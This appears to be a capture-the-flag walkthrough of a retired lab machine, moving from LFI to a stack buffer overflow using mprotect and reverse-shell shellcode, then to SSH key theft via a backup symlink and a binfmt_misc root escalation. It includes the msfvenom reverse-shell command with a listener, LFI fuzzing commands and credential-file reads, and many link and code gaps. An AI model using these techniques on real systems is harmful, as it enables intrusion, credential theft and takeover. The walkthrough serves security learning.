Retired
Last updated
Was this helpful?
Last updated
Was this helpful?
Nmap finds SSH and an Nginx server. The website has a page
GET parameter, which we fuzz and find a beta page as well as an LFI exploit. The beta page upload a file to activate_license.php
, which we leak the source code of using the LFI exploit. activate_license.php
will send the uploaded file to a service running on port 1337
. Since we can access files on the system, we read /proc/sched_debug
and see that /usr/bin/activate_license
is the program on port 1337
. We download it so we can reverse engineer it.
Decompiling activate_license
with reveals a buffer overflow exploit with the data we can upload to it. We use gdb with the extension to debug the program and send a pattern using to determine the offset based on the overwritten registers. The binary has the non-executable stack protection enabled, but we can use sys_mprotect
to turn off this protection using an approach similar to . mprotect()
changes the access protections for the calling process's memory pages. We need to tell mprotect()
the start of the stack, the length of the stack, and the protection mode (RWE) to apply to that area of memory. This will make the entire stack executable. To get these addresses, we use the /proc/$PID/maps
filesystem through the LFI exploit. Finally, we use msfvenom
to generate some basic shellcode. Our final exploit is in .
Running the will get us a shell as www-data
. In the /var/www
directory we notice some ZIP files being generated every minute. From , we learn that there is a system timer that runs website_backup.service
every minute, which runs as the dev
user and it creates a ZIP file from /var/www/html
. So, we create a symbolic link to dev
's SSH private key inside of /var/www/html
. Then, we unzip the created ZIP file and SSH as dev
using the private key. This gets us the user.txt
flag.
The privilege escalation part of this box is pretty unique. In the /home/dev/emuemu/
directory we find a reg_helper
binary and its source code. This binary takes input and writes it to /proc/sys/fs/binfmt_misc/register
. That file can only be written to by root
, but from the Makefile
we see that the binary at /usr/lib/emuemu/reg_helper
has the cap_dac_override
capability, so it bypasses all file write checks. The vulnerability we are going to exploit is pretty cool and these resources are amazing at explaining it: and .
From those articles (above): When we run a command on linux, "the kernel reads the first 128 characters of the file. It then iterates over the registered binary-format-handlers to determine which handler should be used. That way, when we execute a file that begins with a #! shebang, the kernel knows it is a script, and the binfmt_script handler is used to find the relevant interpreter (as indicated after the shebang). Similarly, when the file begins with x7fELF, the kernel knows it is a regular Linux binary, and the binfmt_elf handler is used to load the binary into the elf interpreter."
We can use to exploit the ability to write to /proc/sys/fs/binfmt_misc/register
. The script will register a new interpreter with binfmt_misc
linked to the magic bytes of a random SUID binary. That new interpreter will run /bin/sh
. Thus, when that random SUID binary is executed, Linux will find it's magic bytes registered with binfmt_misc
and execute our interpreter with the permissions of the file executed. Since the file executed is SUID, we will get a root shell.
After , we run it and get the root.txt
flag.
First, let's scan for open ports using nmap
. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.154 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
. Then, we can scan those specific ports in depth by running nmap
's built-in scripts: nmap -p$ports -sC -sV 10.10.11.154
.
80
)Let's check out the website since that's the only thing we have to work with (other than SSH):
The URL is http://10.10.11.154/index.php?page=default.html
, so we have a page
parameter to play with.
We check for a local file inclusion (LFI) exploit on the page
parameter by running ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://10.10.11.154/index.php\?page\=FUZZ -fs 0
:
So, we can read files on the system.
Let's scan for other directories by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.154/FUZZ
:
Nothing unusual here.
We can fuzz for different pages using ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.154/index.php\?page\=FUZZ.html -fs 0
:
Let's look at the beta
page located at http://10.10.11.154/index.php?page=beta.html
:
From the source code we see that the form action is activate_license.php
. With the LFI exploit we can get the source of this file by running curl http://10.10.11.154/index.php\?page\=activate_license.php
:
This script will open a connection with a service running on port 1337
locally on the box. Then, it will send our uploaded file to that service. So, we need to get information about that service.
We modify it slightly to create this:
So, in the first 5000 PIDs we have 406
, 582
, and 583
. We can now run curl http://10.10.11.154/index.php\?page\=/proc/406/cmdline --output -
and see that the program was launched with the command /usr/bin/activate_license 1337
.
Another approach would have been to look at the contents of the /proc/sched_debug
file, since that also shows information about running processes.
Running file activate_license
shows the following:
To exploit this buffer overflow vulnerability, we need to get the offset, which cannot be easily automated like usual since the program receives input via a port. Launch GDB-PEDA with gdb --args ./activate_license 1338
and run it with run
. Then, run the below script, which uses pwntools to connect to the program and send a pattern that can be used to determine the offset (this can also be done with pattern_create 700
in GDB-PEDA, but then the request needs to be sent manually):
Upon running the above script, GDB-PEDA should produce the following:
Now, run x/wx $rsp
to get the RSP, which we overwrote: 0x7fffffffbbc8: 0x66616166
. The value can also be viewed in the output above: faaf
. Finally, run python -c 'from pwn import *; print(cyclic_find(unhex("66616166")[::-1]))'
to find the offset of those 4 bytes in the pattern. We get an offset of 520
.
From the linx man pages, we know that "mprotect() changes the access protections for the calling process's memory pages containing any part of the address range in the interval [addr, addr+len-1]." The function has this syntax: int mprotect(void *addr, size_t len, int prot);
. We will set the addr
to the beginning of the stack, len
to the size of the stack, and prot
to 0x7
, which stands for RWX. This will make the entire stack executable.
The calling convention for ELF 64 is the following:
Arguments in RDI, RSI, RDX, RCX, R8, R9
Return Value in RAX
We can get the maps for process 406
, the activate_license
process, like so:
So, from the above output we know that the libc base is at 7f91a2b95000
, the libsqlite3 base is at 7F91A2D5A000
, the stack start is at 7ffd35848000
, and the stack end is at 7ffd35869000
.
We can write a python function to get these values programatically:
Alright, we have the offset, the library bases, the library paths, and the exploit arguments. Now all we need is some shell code. We can execute msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.116 LPORT=55455 -f py
to get some shellcode from Metasploit that will spawn a reverse shell:
We start in /var/www
, which has a few strange dated ZIP files that vary by 1 minute in creation date:
We run find / -name website_backup.service 2>/dev/null
to find the file at /etc/systemd/system/website_backup.service
. Looking at the file, we see that it runs /usr/bin/webbackup
:
This script runs as the dev
user and it creates a ZIP file from /var/www/html
every minute. We can symlink dev
's SSH private key into a ZIP file by running cd /var/www/html && ln -s /home/dev/.ssh/id_rsa id_rsa
. Copy the resulting ZIP file to /tmp
by running cp 2022-08-05_05-28-05-html.zip /tmp
and unzip with with unzip 2022-08-05_05-28-05-html.zip
:
Now, just download /tmp/var/www/html/id_rsa
. We can now connect as dev
by running ssh dev@10.10.11.154 -i id_rsa
(or use pwncat-cs
). Finally, get the user.txt
flag with cat ~/user.txt
.
We look through the /home/dev/emuemu/
directory:
The actually interesting file is emuemu/reg_helper.c
:
Furthermore, the /home/dev/emuemu/Makefile
contains some helpful information:
When we run a command on linux, "the kernel reads the first 128 characters of the file. It then iterates over the registered binary-format-handlers to determine which handler should be used. That way, when we execute a file that begins with a #! shebang, the kernel knows it is a script, and the binfmt_script handler is used to find the relevant interpreter (as indicated after the shebang). Similarly, when the file begins with x7fELF, the kernel knows it is a regular Linux binary, and the binfmt_elf handler is used to load the binary into the elf interpreter."
Within the /proc/sys/fs/binfmt_misc
directory, we see an EMUEMU
file. If we cat
it, we get:
So, files begining with the magic bytes 13374f53545249434800524f4d00
will be executed by /usr/bin/emuemu
. If we decode those bytes from hex we get .7OSTRICH.ROM.
, which are the first few bytes of the example ROM file we found in dev
's home directory.
Finally, change echo "$binfmt_line" > "$mountpoint"/register
to echo "$binfmt_line" | /usr/lib/emuemu/reg_helper
so we write to the reg_helper
file (which will write to /proc/sys/fs/binfmt_misc/register
) instead of writing directly to /proc/sys/fs/binfmt_misc/register
.
Searching online for "lfi find running processes" finds , which mentions this command:
Let's run curl http://10.10.11.154/index.php\?page\=/usr/bin/activate_license --output activate_license
to download that binary: .
We can see the binary security settings with from :
We decompile the binary using . Here is the decompiled activate_license
function:
There is a buffer overflow in this function. The buffer is set to 512 bytes, but then the line sVar2 = read(sockfd,buffer,(ulong)msglen);
will read msglen
bytes from the socket into the buffer. So, if we upload a license to the program that is larger than 512 bytes, we should be writing onto the stack. For a normal buffer overflow, we would be able to add some shell code, create a , and then overwrite the return address with the address of our shell code. The problem is that we have "NX enabled" according to checksec
. NX stands for "no execution," so even if we were to return to shell code, it would not be executed.
Additionally, RELRO
is set to full: "Full RELRO makes the entire GOT read-only which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run" (). Therefore, we cannot perform an attack similar to the one from . Finally, PIE is enabled: "PIE stands for Position Independent Executable, which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are" ().
We are going to use GDB to get the offset for this buffer overflow attack. There are many projects that exist to fill in the gaps in the GDB debugger: , , . For some reason, when using normal GDB or , GDB doesn't pick up the SIGSEGV, Segmentation fault
when we send our input. Thus, we cannot read the RSP. However, when I used , it worked! So, use peda. This issue probably happens because the program forks when it receives a request. According to , we can run set follow-fork-mode child
, but this doesn't work (unless peda is used of course).
Now for the actual exploit. We are going to use sys_mprotect
to turn off the NX protection using an approach similar to . Other resources: and .
So we need to put the stack address in the RDI register, the length in the RSI register and the value 0x7
in the RDX register. The uses to do this, which is a great tool, but we we can do it automatically with pwntools.
The issue is we don't have those values. Additionally, the machine probably has ASLR enabled, which makes them randomize each time the program is started. However, due to the LFI exploit, we can read /proc/$PID/maps
. "Each row in /proc/$PID/maps
describes a region of contiguous virtual memory in a process or thread" (). You can learn more from the and .
The re.M
flag makes ^
and $
"match at the start or end of any line within the input string instead of the start or end of the entire string" (). We also get the path for libc and libsqlite so we can use them with pwntools automatic gadget finder.
Finally, we write to encapsulate all these ideas and actually perform the attack. Run a listener with pwncat by running pwncat-cs -lp 55455
(or use netcat with nc -nvlp 55455
). This gives us a shell as the www-data
user.
Running ls
again shows new files, so it looks like they get recreated every minute. Let's run to see what is happening. You can upload this tool easily with pwncat
's built-in upload
command. This doesn't reveal anything.
We run and look for anything that runs each minute. We see this output:
In dev
's home folder we get the source code for the activate_license
program, which is nice: .
Searching for "/proc/sys/fs/binfmt_misc/register" finds , which states that this file is "an interface to the kernel's mechanism for setting up binary formats."
The reg_helper
file is also located at /usr/lib/emuemu/reg_helper
and has the cap_dac_override
capability. This means it can "bypass file read, write, and execute permission checks" ().
Searching for exploits involving /proc/sys/fs/binfmt_misc/register
finds , which looks promising. We also find these two amazing blog posts summarizing the issue we are about to exploit:
In order to use , we need to be able to write to /proc/sys/fs/binfmt_misc/register
. We can do this because the /usr/lib/emuemu/reg_helper
file has the aforementioned capability to bypass file write checks. The script will register a new interpreter with binfmt_misc
linked to the magic bytes of a random SUID binary. That new interpreter will run /bin/sh
. Thus, when that random SUID binary is executed, Linux will find it's magic bytes registered with binfmt_misc
and execute our interpreter with the permissions of the file executed. Since the file executed is SUID, we will get a root shell.
A more simple example is registering an entry for Python files with the first few bytes of a python file. With that interpreter added to binfmt_misc
, you could run Python files without shebang headers directly without using the python
command. Now, if you made your Python script a SUID binary, ran os.setuid(0);os.setgid(0)
within it, and executed it, it would run as root
even though the Python interepreter is not SUID. That is what we are doing with the script. When a SUID binary is executed, it will execute our interpreter as root
and we can set its UID/GID to root
and then spawn a shell.
We download the and modify it slightly. We remove the following two pieces of code that check if /proc/sys/fs/binfmt_misc/register
is writeable, since it is not writeable:
Running (our modified exploit) will immediately spawn a root shell. Get the root.txt
flag with cat /root/root.txt
.